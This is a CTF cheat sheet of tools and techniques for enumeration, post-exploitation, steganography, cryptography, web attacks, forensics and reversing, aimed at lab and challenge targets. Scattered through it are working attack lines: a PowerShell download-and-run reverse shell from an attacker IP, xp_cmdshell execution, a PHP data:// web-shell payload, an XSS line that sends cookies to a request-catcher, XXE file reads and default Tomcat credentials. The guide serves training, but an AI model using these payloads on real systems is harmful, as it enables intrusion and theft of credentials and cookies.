CTF Tools

The formal tool that automates some of this low-hanging fruit checking is finally released. Katana is available at https://github.com/JohnHammond/katana. Pull-requests and contributions are welcome!

Post-Exploitation

static-binariesIf you need to use a program that is not on the box you just broke into, try and build a static binary! I’ve seen this used on Fatty for HackTheBox, getting a pty with the typical python -c 'import pty...' trick when it didn’t have Python originally!https://github.com/andrew-d/static-binaries

Port Enumeration

445 (smb/Samba)

smbmapsmbmap tells you permissions and access, which smbclient does not do!To try and list shares as the anonymous user DO THIS (this doesn’t always work for some weird reason)

smbmap -H 10.10.10.125 -u anonymous

Or you can attempt just:

smbmap -H 10.10.10.125

And you can specify a domain like so:

smbmap -H 10.10.10.125 -u anonymous -d HTB.LOCAL

Worth trying localhost as a domain, if that gets “NO_LOGON_SERVERS”

smbmap -H 10.10.10.125 -u anonymous -d localhost

enum4linux

enum4linux 10.10.10.125

smbclientNOTE: DEPENDING ON THE VERSION OF SMBCLIENT YOU ARE USING, you may need to SPECIFY the use of S<B version 1 or SMB version 2. You can dp this with -m SMB2. Older versions of SMBclient (latest being 4.10 at the time of writing) use SMB1 by default.You can use smbclient to look through files shared with SMB. To list available shares:

smbclient -m SMB2 -N -L //10.10.10.125/

Once you find a share you want to/can access, you can connect to shares by using the name following the locator:

smbclient -m SMB2 -N //10.10.10.125/Reports

You will see a smb: \> prompt, and you can use ls and get to retrieve files or even put if you need to place files there.

1433 (Microsoft SQL Server)

impacket -> mssqlclient.pyYou can connect to a Microsoft SQL Server with myssqlclient.py knowing a username and password like so:

mssqlclient.py username@10.10.10.125

It will prompt you for a password. If your password fails, the server might be using “Windows authentication”, which you can use with:

mssqlclient.py username@10.10.10.125 -windows-auth

If you have access to a Micosoft SQL Server, you can try and enable_xp_cmdshell to run commands. With mssqlclient.py you can try:

SQL> enable_xp_cmdshell

though, you may not have permission. If that DOES succeed, you can now run commands like:

SQL> xp_cmdshell whoami

SNMP

snmp-check

snmp-check 10.10.10.125

Microsoft Office Macros

oletools -> olevbaolevba can look for Macros within office documents (which you should always check) with just supplying the filename:

olevba "Currency Volume Report.xlsm"

Retrieving Network Service Hashes

Responder.py

./Responder.py -I tun0

Windows Reverse Shells

NishangIf you have access to PowerShell, you can get a Reverse shell by using nishang‘s Invoke-PowerShellTcp.ps1 script inside of the Shells directory. Be sure to add the function call example to the bottom of your script, so all you need to to do to host it is (on your Attacker machine):

python -m SimpleHTTPServer

and then on the victim machine:

powershell IEX( New-Object Net.WebClient).DownloadString("http://10.10.14.6:8000/reverse.ps1") )

Also, if you want to have nice up and down arrow key usage within your Windows reverse shell, you can use the utility rlwrap before your netcat listener command.

rlwrap nc -lnvp 9001

Known Exploits

Java RMIMetasploit module: exploit/multi/misc/java_rmi_serverWhen testing this, responses are known to come back with an error or exception. Your code MAY VERY WELL still be executing. Try and run commands that include a callback. And use Python to live off the land and try avoid special characters, like | pipes! ysoserial is a good tool for deserializing Java code to take advantage of this vulnerability.
HeartbleedMetasploit module: auxiliary/scanner/ssl/openssl_heartbleedBe sure to use set VERBOSE true to see the retrieved results. This can often contain a flag or some valuable information.
libssh – SSHlibssh0.8.1 (or others??) is vulnerable to an easy and immediate login. Metasploit module: auxiliary/scanner/ssh/libssh_auth_bypass. Be sure to set spawn_pty true to actually receive a shell! Then sessions -i 1 to interact with the shell spawned (or whatever appropriate ID)
Bruteforcing RDPBruteforcing RDP with hydra or ncrack is NOT ALWAYS ADVISABLE because of Cred-SSB. An option might be to script xrdp to automate against a password or word list… but THIS IS NOT TESTED.
Apache TomcatIf you can determine that you are working with an Apache Tomcat server (usually by visiting pages that do not exist and seeing a 404 error message), try to visit /Manager, which is usually accessible on Tomcat. Possible credentials could be tomcat:tomcat, tomcat:s3cr3t, admin:s3cr3t, root:s3cr3t, etc. etc.. Worthy of bruteforcing with hydra.If you see URLs are appended with a .action (not a .do), you may be working with Apache Struts.
Apache StrutsTo identify the Apache Struts version is running,

Excess

wifite2Brute-force a Wi-Fi access point.
impacketTool to quickly spin up a Samba share.
enum4linuxScript to scan Windows Samba shares. VERY GOOD TO RUN FOR WINDOWS ENUMERATION.
Drupal drupalgeddonAttack script for old or outdated Drupal servers. Usually very effective.

Esoteric Languages

https://tio.run/An online tool that has a ton of Esoteric language interpreters.
BrainfuckThis language is easily detectable by its huge use of plus signs, braces, and arrows. There are plenty of online interpreters, like this one: https://copy.sh/brainfuck/ Some example code:

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.-----------
--.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.-------------
--.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++
.<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++.

COWThis language is easily identified by numerous “MOO” statements and random capitalization. It has an option on https://tio.run/.
MalbogeAn esoteric language that looks a lot like Base85… but isn’t. Often has references to “Inferno” or “Hell” or “Dante.” Online interpreters like so: http://www.malbolge.doleczek.pl/ Example code:

(=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc

PietA graphical programming language… looks like large 8-bit pixels in a variety of colors. Can be interpreted with the tool npiet

Ook!A joke language. Recognizable by . and ?, and !.

Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.
Ook! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
Ook! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.

RockstarA language intended to look like song lyrics github link.below is fizzbuzz in Rockstar:

Midnight takes your heart and your soul
While your heart is as high as your soul
Put your heart without your soul into your heart

Give back your heart


Desire is a lovestruck ladykiller
My world is nothing 
Fire is ice
Hate is water
Until my world is Desire,
Build my world up
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
Shout "FizzBuzz!"
Take it to the top

If Midnight taking my world, Fire is nothing
Shout "Fizz!"
Take it to the top

If Midnight taking my world, Hate is nothing
Say "Buzz!"
Take it to the top

Whisper my world

Steganography

StegCrackerDon’t ever forget about steghide! This tool can use a password list like rockyou.txt with steghide. SOME IMAGES CAN HAVE MULTIPLE FILED ENCODED WITH MULTIPLE PASSWORDS.
Steganography OnlineA tool often used in CTFs for encoding messages into images.
steg_brute.pyThis is similar to stegcracker above.
openstegoA Java .JAR tool, that can extract data from an image. A good tool to use on guessing challenges, when you don’t have any other leads. We found this tool after the Misc50 challenge from HackIM 2018
Stegsolve.jarA Java .JAR tool, that will open an image and let you as the user arrow through different renditions of the image (viewing color channels, inverted colors, and more). The tool is surprisingly useful.
steghideA command-line tool typically used alongside a password or key, that could be uncovered some other way when solving a challenge.
stepicPython image steganography. Stepic hides arbitrary data inside PIL images. Download it here: http://domnit.org/stepic/doc/
Digital Invisible Ink Stego ToolA Java steganography tool that can hide any sort of file inside a digital image (regarding that the message will fit, and the image is 24 bit colour)

WHEN GIVEN A FILE TO WORK WITH, DO NOT FORGET TO RUN THIS STEGHIDE WITH AN EMPTY PASSWORD!

ImageHideFor PNG images (or BMP) images, there exists a Windows utility that can hide “ENCRYPTED” text within the LSB. If you also happen to have passwords, you can decrypt this and potentially find a flag. https://www.softpedia.com/get/Security/Encrypting/ImageHide.shtml
stegoVeritasAnother steganography tool. A simple command-line tool and super easy to use — definitely one to at least try.
Unicode Steganography / Zero-Width Space CharactersSome text that may be trying to hide something, in a seemingly innocent way, like “Hmm, there may be something hiding here…” may include zero-width characters. This is a utility that might help: https://330k.github.io/misc_tools/unicode_steganography.html … Other options are just gross find and replace operations in Python IDLE.
Online LSB ToolsThere are many online LSB tools that work in different ways. If you are given a file that you know is part of a Least Significant Bit challenge, try these tools:https://manytools.org/hacker-tools/steganography-encode-text-into-image/ Only supports PNG https://stylesuxx.github.io/steganography/
Other stego tools:https://github.com/DominicBreuker/stego-toolkit
zstegCommand-line tool for use against Least Significant Bit steganography… unfortunately only works against PNG and BMP images.
jstegAnother command-line tool to use against JPEG images. https://github.com/lukechampine/jsteg Handy for Hackerrank Codefest CTF 2018.
JstegoA GUI tool for JPG steganography. https://sourceforge.net/projects/jstego/ It is a Java JAR file similar to stegsolve.jar
Morse CodeAlways test for this if you are seeing two distinct values… it may not always be binary! Online decoders like so: https://morsecode.scphillips.com/translator.html. If you need to be case-sensistive or include a bit more stuff like numbers and punctuation, use this code: https://gist.github.com/JohnHammond/961acabfd85a8715220fa79492b25368If you find Morsecode in the “international written form”, like “dah-dit-dit-dah” etcetera, you can use this code: https://gist.github.com/JohnHammond/7d3ddb167fa56f139dc4419091237b51 … which was carved out of this resource: https://morsecode.scphillips.com/morse.html
WhitespaceTabs and spaces could be representing 1’s and 0’s and treating them as a binary message… or, they could be whitespace done with snow or an esoteric programming language interpreter: https://tio.run/#whitespace
Audio Speed Change (also change pitch)

mplayer -af scaletempo -speed 64 flag.mp3

DNA CodesWhen given a sequence with only A, C, G, T , there is an online mapping for these. Try this:
Extract Thumbnail (data is covered in original image)If you have an image where the data you need is covered, try viewing the thumbnail:

exiftool -b -ThumbnailImage my_image.jpg > my_thumbnail.jpg

snowA command-line tool for whitespace steganography (see above).
SONIC Visualizer (audio spectrum)Some classic challenges use an audio file to hide a flag or other sensitive stuff. SONIC visualizer easily shows you spectrogram. If it sounds like there is random bleeps and bloops in the sound, try this tactic!
Detect DTMF TonesAudio frequencies common to a phone button, DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling.
Phone-KeypadSome messages may be hidden with a string of numbers, but really be encoded with old cell-phone keypads, like text messaging with numbers repeated:

hipshotA Python module to compress a video into a single standalone image, simulating a long-exposure photograph. Was used to steal a QR code visible in a video, displayed through “Star Wars” style text motion.
QR codeA small square “barcode” image that holds data.
zbarimgA command-line tool to quickly scan multiple forms of barcodes, QR codes included. Installed like so on a typical Ubuntu image:

sudo apt install zbar-tools

Punctuation marks !, . and ?I have seen some challenges use just the end of . or ? or ! to represent the Ook esoteric programming language. Don’t forget that is a thing!

Cryptography

Cryptiihttps://cryptii.com has multiple decoding tools like base64, Ceaser Cipher, ROT13, Vigenère Cipher and more.
Keyboard Shifthttps://www.dcode.fr/keyboard-shift-cipher If you see any thing that has the shape of a sentence but it looks like nonsense letters, and notes some shift left or right, it may be a keyboard shift…
Bit ShiftSometimes the letters may be shifted by a stated hint, like a binary bit shift ( x >> 1 ) or ( x << 1 ).
Reversed TextSometimes a “ciphertext” is just as easy as reversed text. Don’t forgot to check under this rock! You can reverse a string in Python like so:

"UOYMORFEDIHOTGNIYRTEBTHGIMFTCA.TAHTTERCESASISIHT"[::-1]

XORANY text could be XOR’d. Techniques for this are Trey’s code, and XORing the data against the known flag format. Typically it is given in just hex, but once it is decoded into raw binary data, it gives it keeps it’s hex form (as in \xde\xad\xbe\xef etc..) Note that you can do easy XOR locally with Python like so (you need pwntools installed): python >>> import pwn; pwn.xor(“KEY”, “RAW_BINARY_CIPHER”)

IF YOU KNOW A DECENT CRIB (PLAINTEXT), USE CYBERCHEF TO HELP DETERMINE THE KEY

DO NOT FORGET TO JUST BRUTEFORCE JUST THE FIRST BYTE, OR TWO BYTES OR THREE BYTES.

Caesar CipherThe most classic shift cipher. Tons of online tools like this: https://www.dcode.fr/caesar-cipher or use caesar as a command-line tool (sudo apt install bsdgames) and you can supply a key for it. Here’s a one liner to try all letter positions: cipher='jeoi{geiwev_gmtliv_ws_svmkmrep}' ; for i in {0..25}; do echo $cipher | caesar $i; done Be aware! Some challenges include punctuation in their shift! If this is the case, try to a shift within all 255 ASCII characters, not just 26 alphabetical letters!
caesarA command-line caesar cipher tool (noted above) found in the bsdgames package.
Atbash CipherIf you have some text that you have no idea what it is, try the Atbash cipher! It’s a letter mapping, but the alphabet is reversed: like A maps to Z, B maps to Y and so on. There are tons of online tools to do this (http://rumkin.com/tools/cipher/atbash.php), and you can build it with Python.
Vigenere Cipher http://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx, https://www.guballa.de/vigenere-solver and personal Python code here: https://pastebin.com/2Vr29g6J
Gronsfeld CipherA variant of the Vignere cipher that uses numbers insteads of letters. http://rumkin.com/tools/cipher/gronsfeld.php
Beaufourt Cipherhttps://www.dcode.fr/beaufort-cipher
Bacon CipherA substitution cipher that replaces each character with five characters from a set of two (A and B is used most of the time). If we look at A as 0 and B as 1 it is a special encoding to binary numbers, where the character A has the value of binary b00000. Easy to recognize, because the ciphertext only contains two characters (e.g.: A and B) and the length of the ciphertext is divisible by 5. Example: AAABB AAABA ABBAB AAABB AABAA AAAAB AAAAA AAABA ABBAB ABBAA. [Online tool](http://rumkin.com/tools/cipher/baconian.php)
Python random module cracker/predictorhttps://github.com/tna0y/Python-random-module-cracker… helps attack the Mersenne Twister used in Python’s random module.
Transposition Cipher
RSA: Classic RSAVariables typically given: n, c, e. ALWAYS try and give to http://factordb.com. If p and q are able to be determined, use some RSA decryptor; handmade code available here: https://pastebin.com/ERAMhJ1v
RSA: Multi-prime RSAWhen you see multi-prime RSA, you can use calculate phi by still using all the factors.

phi = (a - 1) * (b - 1) * (c - 1)    # ... etcetera

If FactorDB cannot find factors, try alpertron: https://www.alpertron.com.ar/ECM.HTM

RSA: e is 3 (or small)If e is 3, you can try the cubed-root attack. If you the cubed root of c, and if that is smaller than the cubed root of n, then your plaintext message m is just the cubed root of c! Here is Python code to take the cubed root:

def root3rd(x):
    y, y1 = None, 2
    while y!=y1:
        y = y1
        y3 = y**3
        d = (2*y3+x)
        y1 = (y*(y3+2*x)+d//2)//d
    return y

RSA: Wiener’s Little D AttackThe telltale sign for this kind of challenge is an enormously large e value. Typically e is either 65537 (0x10001) or 3 (like for a Chinese Remainder Theorem challenge). Some stolen code available here: https://pastebin.com/VKjYsDqD
RSA: Boneh-Durfee Attack The tellgate sign for this kind of challenge is also an enormously large e value (e and n have similar size). Some code for this attack can be found here
RSA: Chinese Remainder AttackThese challenges can be spotted when given mutiple c cipher texts and multiple n moduli. e must be the same number of given c and n pairs. Some handmade code here: https://pastebin.com/qypwc6wH
LC4This is an adaptation of RC4… just not. There is an implementation available in Python. https://github.com/dstein64/LC4/blob/master/documentation.md
Elgamal
Affine Cipher
Substitution Cipher (use quip quip!)https://quipqiup.com/
Railfence Cipherhttp://rumkin.com/tools/cipher/railfence.php
Playfair Cipherracker: http://bionsgadgets.appspot.com/ww_forms/playfair_ph_web_worker3.html
Polybius Squarehttps://www.braingle.com/brainteasers/codes/polybius.php
The Engimahttp://enigma.louisedade.co.uk/enigma.html, https://www.dcode.fr/enigma-machine-cipher
AES ECBThe “blind SQL” of cryptography… leak the flag out by testing for characters just one byte away from the block length.
Two-Time Pad
International Code of Signals MaritimeFirst drafted by the British Board of Trade in 1855 and adopted as a world-wide standard on 1 January 1901. It is used for communications with ships, but also occasionally used by geocaching mystery caches (puzzle caches), CTFs and various logic puzzles. You may want to give a look at the tool maritime flags translator.

Daggers Cipher

The daggers cipher is another silly text-to-image encoder. This is the key, and you can find a decoder on https://www.dcode.fr/daggers-alphabet.

Hylian Language (Twilight Princess)

The Hylian language is another silly text-to-image encoder. This is the key, and you can find a decoder on https://www.dcode.fr/hylian-language-twilight-princess.

Hylian Language (Breath of the Wild)

The Hylian language is another silly text-to-image encoder. This is the key, and you can find a decoder on https://www.dcode.fr/hylian-language-breath-of-the-wild.

Sheikah Language (Breathe of the Wild)

The Sheikah language is another silly text-to-image encoder. This is the key, and you can find a decoder on https://www.dcode.fr/sheikah-language.

Networking

WiresharkThe go-to tool for examining .pcap files.
Network MinerSeriously cool tool that will try and scrape out images, files, credentials and other goods from PCAP and PCAPNG files.
PCAPNGNot all tools like the PCAPNG file format… so you can convert them with an online tool http://pcapng.com/ or from the command-line with the editcap command that comes with installing Wireshark:

editcap old_file.pcapng new_file.pcap

tcpflowA command-line tool for reorganizing packets in a PCAP file and getting files out of them. Typically it gives no output, but it creates the files in your current directory!

tcpflow -r my_file.pcap
ls -1t | head -5 # see the last 5 recently modified files

PcapXrayA GUI tool to visualize network traffic.

PHP

Magic HashesA common vulnerability in PHP that fakes hash “collisions…” where the == operator falls short in PHP type comparison, thinking everything that follows 0e is considered scientific notation (and therefore 0). More valuable info can be found here: https://github.com/spaze/hashes, but below are the most common breaks.

Plaintext	MD5 Hash
240610708	0e462097431906509019562988736854
QLTHNDT	0e405967825401955372549139051580
QNKCDZO	0e830400451993494058024219903391
PJNPDWY	0e291529052894702774557631701704
NWWKITQ	0e763082070976038347657360817689
NOOPCJF	0e818888003657176127862245791911
MMHUWUV	0e701732711630150438129209816536
MAUXXQC	0e478478466848439040434801845361
IHKFRNS	0e256160682445802696926137988570
GZECLQZ	0e537612333747236407713628225676
GGHMVOE	0e362766013028313274586933780773
GEGHBXL	0e248776895502908863709684713578
EEIZDOI	0e782601363539291779881938479162
DYAXWCA	0e424759758842488633464374063001
DQWRASX	0e742373665639232907775599582643
BRTKUJZ	00e57640477961333848717747276704
ABJIHVY	0e755264355178451322893275696586
aaaXXAYW	0e540853622400160407992788832284
aabg7XSs	0e087386482136013740957780965295
aabC9RqS	0e041022518165728065344349536299
0e215962017	0e291242476940776845150308577824

Plaintext	SHA1 Hash
aaroZmOk	0e66507019969427134894567494305185566735
aaK1STfY	0e76658526655756207688271159624026011393
aaO8zKZF	0e89257456677279068558073954252716165668
aa3OFF9m	0e36977786278517984959260394024281014729

Plaintext	MD4 Hash
bhhkktQZ	0e949030067204812898914975918567
0e001233333333333334557778889	0e434041524824285414215559233446
0e00000111222333333666788888889	0e641853458593358523155449768529
0001235666666688888888888	0e832225036643258141969031181899

preg_replaceA bug in older versions of PHP where the user could get remote code executionhttp://php.net/manual/en/function.preg-replace.php
phpdc.phprA command-line tool to decode bcompiler compiled PHP code.
php://filter for Local File InclusionA bug in PHP where if GET HTTP variables in the URL are controlling the navigation of the web page, perhaps the source code is include-ing other files to be served to the user. This can be manipulated by using PHP filters to potentially retrieve source code. Example like so:

http://xqi.cc/index.php?m=php://filter/convert.base64-encode/resource=index

data://text/plain;base64A PHP stream that can be taken advantage of if used and evaluated as an include resource or evaluated. Can be used for RCE: check out this writeup: https://ctftime.org/writeup/8868 … TL;DR:

http://103.5.112.91:1234/?cmd=whoami&page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=

PDF Files

pdfinfoA command-line tool to get a basic synopsis of what the PDF file is.
pdfcrackA comand-line tool to recover a password from a PDF file. Supports dictionary wordlists and bruteforce.
pdfimagesA command-line tool, the first thing to reach for when given a PDF file. It extracts the images stored in a PDF file, but it needs the name of an output directory (that it will create for) to place the found images.
pdfdetachA command-line tool to extract files out of a PDF.

Forensics

Python bytecode uncompyle6To decompile bytecode, use uncompyle6. There is one special argument (I think -d or something???) that can have success if the default operation does not work. Do not give up hope when working with obvious Python bytecode. EasyPythonDecompiler might work, or perhaps testing with uncompyle
Keepasskeepassx can be installed on Ubuntu to open and explore Keepass databases. Keepass databases master passwords can be cracked with keepass2john.
Magic NumbersThe starting values that identify a file format. These are often crucial for programs to properly read a certain file type, so they must be correct. If some files are acting strangely, try verifying their magic number with a trusted list of file signatures.
hexed.itAn online tool that allows you to modify the hexadecimal and binary values of an uploaded file. This is a good tool for correcting files with a corrupt magic number
dumpzillaA Python script to examine a .mozilla configuration file, to examine downloads, bookmarks, history or bookmarks and registered passwords. Usage may be as such:

python dumpzilla.py .mozilla/firefox/c3a958fk.default/ --Downloads --History --Bookmarks --Passwords

Repair image online toolGood low-hanging fruit to throw any image at: https://online.officerecovery.com/pixrecovery/
foremostA command-line tool to carve files out of another file. Usage is foremost [filename] and it will create an output directory.

sudo apt install foremost

binwalkA command-line tool to carve files out of another file. Usage to extract is binwalk -e [filename] and it will create a _[filename]_extracted directory.

	sudo apt install binwalk

hachoir-subfileA command-line tool to carve out files of another file. Very similar to the other tools like binwalk and foremost, but always try everything!
TestDiskA command-line tool, used to recover deleted files from a file system image. Handy to use if given a .dd and .img file etc.
photorecAnother command-line utility that comes with testdisk. It is file data recovery software designed to recover lost files including video, documents and archives from hard disks, CD-ROMs, and lost pictures (thus the Photo Recovery name) from digital camera memory. PhotoRec ignores the file system and goes after the underlying data, so it will still work even if your media’s file system has been severely damaged or reformatted.

PNG File Forensics

pngcheckA command-line tool for “checking” a PNG image file. Especially good for verifying checksums.
pngcsumCorrect the CRC on all of the parts of a PNG image file.
https://github.com/sherlly/PCRTUtility to try and correct a PNG file. NOTE… this will NOT SAVE your file as new one. YOU HAVE TO SHOW the file (enter y when using the script]) to actually view the new image.

APK Forensics

apktoolA command-line tool to extract all the resources from an APK file. Usage:

apktool d <file.apk>

dex2jarA command-line tool to convert a J.dex file to .class file and zip them as JAR files.
jd-guiA GUI tool to decompile Java code, and JAR files.

Web

robots.txtThis file tries to hide webpages from web crawlers, like Google or Bing or Yahoo. A lot of sites try and use this mask sensitive files or folders, so it should always be some where you check during a CTF. http://www.robotstxt.org/
Edit This CookieA web browser plug-in that offers an easy interface to modifying cookies. THIS IS OFTEN OVERLOOKED, WITHOUT CHANGING THE VALUE OF THE COOKIES… BE SURE TO FUZZ EVERYTHING, INCLUDING COOKIE VALUES!
Backup pages ( ~ and .bak and .swp )Some times you may be able to dig up an old version of a webpage (or some PHP source code!) by adding the usual backup suffixes. A good thing to check!
/admin/This directory is often found by directory scanning bruteforce tools, so I recommend just checking the directory on your own, as part of your own “low-hanging fruits” check.
/.git/A classic CTF challenge is to leave a git repository live and available on a website. You can see this with nmap -A (or whatever specific script catches it) and just by trying to view that specific folder, /.git/. A good command-line tool for this is GitDumper.sh, or just simply using wget.Sometimes you might Bazaar or Mercurial or other distributed version control systems. You can use https://github.com/kost/dvcs-ripper for those!!
GitDumper.shA command-line tool that will automatically scrape and download a git repository hosted online with a given URL.
Bazaar .bzrIf you see a publically accessible .bzr directory, you can use bzr branch http://site output-directory to download it. Or, use this utility: https://github.com/kost/dvcs-ripper
XSS/Cross-site scripting XSS Filter Evasion Cheat Sheet. Cross-site scripting, vulnerability where the user can control rendered HTML and ideally inject JavaScript code that could drive a browser to any other website or make any malicious network calls. Example test payload is as follows:

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

Typically you use this to steal cookies or other information, and you can do this with an online requestbin.

<img src="#" onerror="document.location='http://requestbin.fullcontact.com/168r30u1?c' + document.cookie">

new usefull XSS cheat sheet : ‘https://portswigger.net/web-security/cross-site-scripting/cheat-sheet‘
CloudFlare BypassIf you need to script or automate against a page that uses the I’m Under Attack Mode from CloudFlare, or DDOS protection, you can do it like this with linked Python module.

#!/usr/bin/env python

import cfscrape

url = 'http://yashit.tech/tryharder/'

scraper = cfscrape.create_scraper() 
print scraper.get(url).content

XSStrikeA command-line tool for automated XSS attacks. Seems to function like how sqlmap does.
wpscan
- A Ruby script to scan and do reconnaissance on a WordPress application.
Mac AutoLogin Password Cracking

Sometimes, given an Mac autologin password file /etc/kcpassword, you can crack it with this code:

def kcpasswd(ciphertext):
    key = '7d895223d2bcddeaa3b91f'
    while len(key) < (len(ciphertext)*2):
        key = key + key
    key = binasciiunhexlify(key)
    result = ''
    for i in range(len(ciphertext)):
        result += chr(ord(ciphertext[i]) ^ (key[i]))
    return result

XXE : XML External Entity

An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server. We try to display the content of the file /flag :

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///flag">
]>
<data>&file;</data>

<?xml version="1.0" encoding="UTF-16"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///flag" >]><foo>&xxe;</foo>

WordPress Password Hash GeneratorIf you make it into a WordPress database and can change passwords, reset the admin password to a new hash: http://www.passwordtool.hu/wordpress-password-hash-generator-v3-v4. This will let you login to /wp-admin/ on the site.
Cookie Catcher
requestb.inA free tool and online end-point that can be used to catch HTTP requests. Typically these are controlled and set by finding a XSS vulnerabilty.
hookbin.comA free tool and online end-point that can be used to catch HTTP requests. Typically these are controlled and set by finding a XSS vulnerabilty.
sqlmapA command-line tool written in Python to automatically detect and exploit vulnerable SQL injection points.
Flask Template InjectionTry {{config}} to leak out the secret key, or start to climb up the Python MRO to acheive code execution.https://nvisium.com/resources/blog/2015/12/07/injecting-flask.html, https://nvisium.com/resources/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html, https://nvisium.com/resources/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html
SQL IF statementsThese are handy for some injections and setting up some Blind SQL if you need to. Syntax is like SELECT ( IF ( 1=1, "Condition successful!", "Condition errored!" ) )
Explicit SQL Injection
Blind SQL Injection
MongoDB

Get MongoDB properly installed:

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 9DA31620334BD75D9DCB49F368818C72E52529D4
echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/4.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.0.list
sudo apt-get update
sudo apt-get install -y mongodb-org

Connect to a remote server with credentials:

mongo --username 'uname' -p 'pword' --host hostname.com:27017

Print out the database info:

show databases

use <databasename>

show collections

c = db.<collectioname>

c.find()

gobuster
DirBuster
nikto
Burpsuite
AWS / S3 BucketsYou can try and dump an AWS bucket like so. The --no-sign-request avoids the need for credentials, and --recursive will grab everything possible.

aws s3 cp --recursive --no-sign-request s3://<bucket_name> .

i. e. `aws s3 cp --recursive --no-sign-request s3://tamuctf .`

Reverse Engineering

ltrace and straceEasy command-line tools to see some of the code being executed as you follow through a binary. Usage: ltrace ./binary
HopperHopper Disassembler, the reverse engineering tool that lets you disassemble, decompile and debug your applications.
Binary NinjaClean and easy with multithreaded analysis. Support multiple architectures, platforms, and compilers.
gdbFast and powerful debugger for UNIX system. More powerful if this tool is equipped with PEDA.
IDAIt’s one of popular debugger and disassembler tool with rich of features, cross platform, multi-processor disassembler.
radare2Portable tool for hex editor, binary analysis, disassembler, debugger, etc.
GhidraNew RE tool developed by NSA with the same feature as IDA
Compiling & running ASM code:You can convert ASM functions from assembly and run them as C functions like the following:asm4.S .intel_syntax noprefix .global asm4 asm4: push ebp mov ebp,esp push ebx sub esp,0x10 mov DWORD PTR [ebp-0x10],0x27d mov DWORD PTR [ebp-0xc],0x0 jmp label2 label1: add DWORD PTR [ebp-0xc],0x1 label2: mov edx,DWORD PTR [ebp-0xc] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] test al,al jne label1 mov DWORD PTR [ebp-0x8],0x1 jmp label3 label4: mov edx,DWORD PTR [ebp-0x8] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] movsx edx,al mov eax,DWORD PTR [ebp-0x8] lea ecx,[eax-0x1] mov eax,DWORD PTR [ebp+0x8] add eax,ecx movzx eax,BYTE PTR [eax] movsx eax,al sub edx,eax mov eax,edx mov edx,eax mov eax,DWORD PTR [ebp-0x10] lea ebx,[edx+eax*1] mov eax,DWORD PTR [ebp-0x8] lea edx,[eax+0x1] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] movsx edx,al mov ecx,DWORD PTR [ebp-0x8] mov eax,DWORD PTR [ebp+0x8] add eax,ecx movzx eax,BYTE PTR [eax] movsx eax,al sub edx,eax mov eax,edx add eax,ebx mov DWORD PTR [ebp-0x10],eax add DWORD PTR [ebp-0x8],0x1 label3: mov eax,DWORD PTR [ebp-0xc] sub eax,0x1 cmp DWORD PTR [ebp-0x8],eax jl label4 mov eax,DWORD PTR [ebp-0x10] add esp,0x10 pop ebx pop ebp ret asm4.c #include<stdio.h> extern int asm4(char* s); int main(){ char *str = “picoCTF_d899a”; printf(“%X”, asm4(str)); return 0; }bash $ gcc -m32 -o a asm4.c asm4.S $ ./a

PowerShell

nishangA PowerShell suite of tools for pentesting. Has support for an ICMP reverse shell!
EmpireHUGE PowerShell library and tool to do a lot of post-exploitation.
Bypass AMSI Anti-Malware Scan InterfaceGreat tool and guide for anti-virus evasion with PowerShell.

Windows Executables

pefileA Python module that examines the headers in a Windows PE (Portable Executable) file.
dnSpyA Windows GUI tool to decompile and reverse engineer .NET binaries
PEiDA Windows tool to detect common packers, cryptors and compilers for Windows PE
jetBrains .NET decompiler
AutoIT converterWhen debugging AutoIT programs, you may get a notification: “This is a compiled AutoIT script”. Here is a good thing to use to decode them: https://www.autoitscript.com/site/autoit/downloads/

Python Reversing

Easy Python DecompilerA small .exe GUI application that will “decompile” Python bytecode, often seen in .pyc extension. The tool runs reliably on Linux with Wine.

Binary Exploitation/pwn

Basic Stack OverflowUse readelf -s <binary> to get the location of a function to jump to — overflow in Python, find offset with dmesg, and jump.
printf vulnerabilityA C binary vulnerability, where printf is used with user-supplied input without any arguments. Hand-made code to exploit and overwrite functions: https://pastebin.com/0r4WGn3D and a video walkthrough explaining: https://www.youtube.com/watch?v=t1LH9D5cuK4
